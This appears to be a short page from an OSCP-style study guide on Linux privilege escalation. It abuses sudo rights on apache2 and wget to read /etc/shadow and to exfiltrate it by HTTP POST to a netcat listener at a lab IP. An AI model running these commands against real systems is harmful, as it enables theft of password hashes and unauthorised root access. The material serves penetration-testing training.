> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/linux-privilege-escalation/sudo/intended-functionality.md).

# Intended Functionality

### Example

After running **sudo -l** you come across apache2, however it isn't in gtfobins.

Quick google search can lead you [here](https://juggernaut-sec.com/sudo-part-2-lpe/). 

Apache 2 has the ability to read files so you can abuse this by reading the shadow file

```
sudo apache2 -f /etc/shadow
```

<figure><img src="https://content.gitbook.com/content/p6nDpW0GBTPP8pZM4JHQ/blobs/CzzmP2K4nULxWaC5Nl1Z/image.png" alt=""><figcaption></figcaption></figure>

Another example could be with wget and sending yourself the shadow file with POST and a nc listener

```
sudo wget --post-file=/etc/shadow 10.10.14.8:1337
```